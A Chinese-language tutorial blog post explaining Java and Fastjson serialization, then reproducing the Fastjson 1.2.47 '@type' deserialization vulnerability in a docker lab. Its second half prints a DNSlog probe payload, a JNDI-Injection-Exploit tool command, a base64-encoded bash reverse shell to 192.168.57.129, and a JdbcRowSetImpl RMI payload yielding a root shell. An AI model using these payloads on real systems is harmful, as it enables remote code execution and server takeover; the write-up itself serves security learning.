素年啊
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

Fastjson 介绍
Fastjson就是一个拿来处理 json 数据的, 现在为止处理json 数据就它最强最快,他是我们国内是阿里巴巴公司开源的一款JSON解析库。可用于将Java对象序列化为其JSON表示形式,也可以用于将JSON字符串反序列化为等效的Java对象。
序列化和反序列化
序列化 : 将一个对象转换成一条字符串, 可以永久存储 , 也便于传输;
反序列化: 将一条字符串重新构造成一个对象。
JAVA 序列化与反序列化
JAVA 的序列化: 在原生的JAVA序列化里, 如果需要对一个对象就行序列化,这个类就要实现Serializable
接口 ,这个Serializable
接口并没有任何的方法, 实现这个接口就说明实现这个接口的类具有序列化的能力, 也可以进行反序列化 ,如果一个类没有实现Serializable
接口,那么当尝试对其对象进行序列化时,将会抛出java.io.NotSerializableException
异常。
如下: 创建一个 Person 类, 并且实现 Serializable 接口
import java.io.Serializable;
public class Person implements Serializable { // implements 实现
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
对这个类进行序列化和反序列化
import java.io.*;
public class SerializationExample {
public static void main(String[] args) {
// 创建一个 Person 对象
Person person = new Person("John", 30);
try {
// 1. 创建一个 ObjectOutputStream 来序列化对象并写入文件
FileOutputStream fileOut = new FileOutputStream("person.ser");
ObjectOutputStream objectOut = new ObjectOutputStream(fileOut);
// 2. 序列化对象
objectOut.writeObject(person);
// 3. 关闭输出流
objectOut.close();
fileOut.close();
System.out.println("Person对象已序列化并写入person.ser文件。");
} catch (IOException e) {
e.printStackTrace();
}
try {
// 4. 创建一个 ObjectInputStream 来读取文件并反序列化对象
FileInputStream fileIn = new FileInputStream("person.ser");
ObjectInputStream objectIn = new ObjectInputStream(fileIn);
// 5. 反序列化对象
Person deserializedPerson = (Person) objectIn.readObject();
// 6. 关闭输入流
objectIn.close();
fileIn.close();
// 输出反序列化后的对象信息
System.out.println("Deserialized Person:");
System.out.println("Name: " + deserializedPerson.getName());
System.out.println("Age: " + deserializedPerson.getAge());
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
输出
Person对象已序列化并写入person.ser文件。
Deserialized Person:
Name: John
Age: 30
Fastjson 序列化与反序列化
Fastjson是一个高性能的JSON处理库,它使用了一种名为“反射”的技术来进行对象的序列化和反序列化。
利用Fastjson 对对象进行序列化
import com.alibaba.fastjson.JSON;
public class SerializationExample {
public static void main(String[] args) {
// Java 对象
Person person = new Person("John", 18);
// 将 Java 对象序列化为 JSON 数据
String json = JSON.toJSONString(person);
// 打印序列化后的 JSON 数据
System.out.println(json);
}
}
class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Fastjson 将一个 json 数据反序列化成为对象
import com.alibaba.fastjson.JSON;
public class DeserializationExample {
public static void main(String[] args) {
// JSON 数据
String json = "{\"name\":\"Alice\",\"age\":25}";
// 将 JSON 数据反序列化为 Java 对象
Person person = JSON.parseObject(json, Person.class);
// 打印反序列化后的 Java 对象
System.out.println("Name: " + person.getName());
System.out.println("Age: " + person.getAge());
}
}
class Person {
private String name;
private int age;
public Person() {
// 无参构造方法,必须提供,用于反序列化
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
为什么出现 @type
Fastjson 在数据包传输json 数据的时候,他的结构可能为
{
"@type":"com.example.class",
"name":"John",
"age":18
}
就是说 Fastjson 会使用 @type key 值 告诉后端要进行反序列化的对象的类名为 com.exaple.class , 并且他的name属性为 John ,age 属性值为 18。
为什么需要使用 @type 呢? 比如说后端有多个类, 但是类里面都有 name age 属性 , 那程序该对哪个类进行反序列化呢?
如 : 利用一些上一个环节的类 , 如果还有一个 User 类
class User
private String name;
private int age;
public User() {
// 无参构造方法,必须提供,用于反序列化
}
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
那程序需要对 Person 类 还是对 User 类进行反序列化化呢?
Fastjson 漏洞产生
根据上一个环节, 我们可以知道可以通过 @type来告诉程序我们需要对哪一个类进行反序列化, 还有顺便给这个类的属性进行传值即: name age ;
根据这个想法,那我们是不是也可以利用 @type 指定一些 java 里面的其他的类,而且还可以给这个类的属性进行赋值 ,这样我们不就可以控制java 里面的一些类来进行一些我们想要的操作了。
Fastjson 漏洞复现
这里利用的是docker vuln 环境 , 使用的是 Fastjson 1.2.47。
Fastjson 探测
如果我们一般遇到一个网站, 他的数据包传递数据是以 json 形式去传递数据的那我们可以利用以下办法去探测是否可能是fastjson 漏洞。
报错探测,利用不完整的json 数据,让服务器报错返回信息
{
"age":18
正确探测
那探测他是否存在 Fastjson 漏洞呢?
顺便探测 Fastjson 是否可以出网
先获取 Dnslog 生成子域名
这里有一个payload
{
"x":{
"@type":"java.net.Inet4Address",
"val":"cg52u7.dnslog.cn"
}
}
"x"
:这是一个 JSON 对象的键,它的值是另一个嵌套的 JSON 对象。"@type": "java.net.Inet4Address"
:这里指定了要反序列化的类名为java.net.Inet4Address
,它是 Java 中用于表示 IPv4 地址的类, 这样就告诉 JAVA 他要反序列化的类是哪个 ."val": "nvuzfb.dnslog.cn"
:这里指定了要传递给Inet4Address
类的val
属性的值为 "nvuzfb.dnslog.cn"。
Fastjson 在反序列化过程中,会尝试实例化指定的类java.net.Inet4Address
,然后调用其构造方法进行初始化。在构造方法中,由于Inet4Address
类没有正确实现readObject
和readResolve
方法(Fastjson 默认不允许调用类的构造方法,但会绕过readObject
和readResolve
),攻击者可以通过构造恶意的val
参数,导致 DNS 查询,从而触发 DNSlog 攻击。
发现 DNslog 有反应
Fastjson 工具利用
这里简单介绍一下 ,在JAVA 里面有一个 JNDI 的概念,他的全称是 Java命名和目录接口 , JNDI 是 Java 中用于访问命名和目录服务的 API,它可以和 RMI、LDAP 等服务集成,允许 Java 程序在分布式环境中访问远程对象和目录数据。
什么意思呢? 这里我个人理解就是利用一个服务器开始一个 JNDI 的服务接口, 这个服务里面可以包含很多的类文件, 如何我们就可以通过 RMI 或者 LDAP 协议去远程访问 JNDI 这个服务, 在这个服务里面获取我们想要的类。
再简单理解一个就是让客户端去远程去包含一个类到本地,然后Fastjson 再反序列化这个类造成命令执行漏洞 (这个类因为是我们在我们自己搭建的服务器里面的,所以它可以是带有恶意攻击的类)。
在Fastjson 漏洞利用中就提供了一个工具来实现这个效果,工具: JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
使用:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A 服务器地址
如: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping dnslog" -A 192.168.6.5
这里我们使用的java 环境是 java 1.8
Fastjson 反弹shell
制作反弹shell 命令 , 因为一些其他原因, 需要对 反弹shell 命令进行 base64 编码 ,再解码
bash -i >& /dev/tcp/192.168.57.129/8899 0>&1 base64 -> YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx
bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}
启动 JDNI 服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.57.129
上面框框的就是生成的payload 地址, 接下来 rmi 协议的一个个地组合到 以下payload 里面试试, 因为我也不确定哪一个一定行
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.57.129:1099/dqh9mg",
"autoCommit":true
}
}
记得开启 nc 监听
最后在 Burp 里使用 payload
最后成功接收到反弹shell , 直接是 root 权限
最后
到了最后,我再想声明一下, 因为我的能力有限, 所以如果上面有不对的地方,可以提醒一下哈 !
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)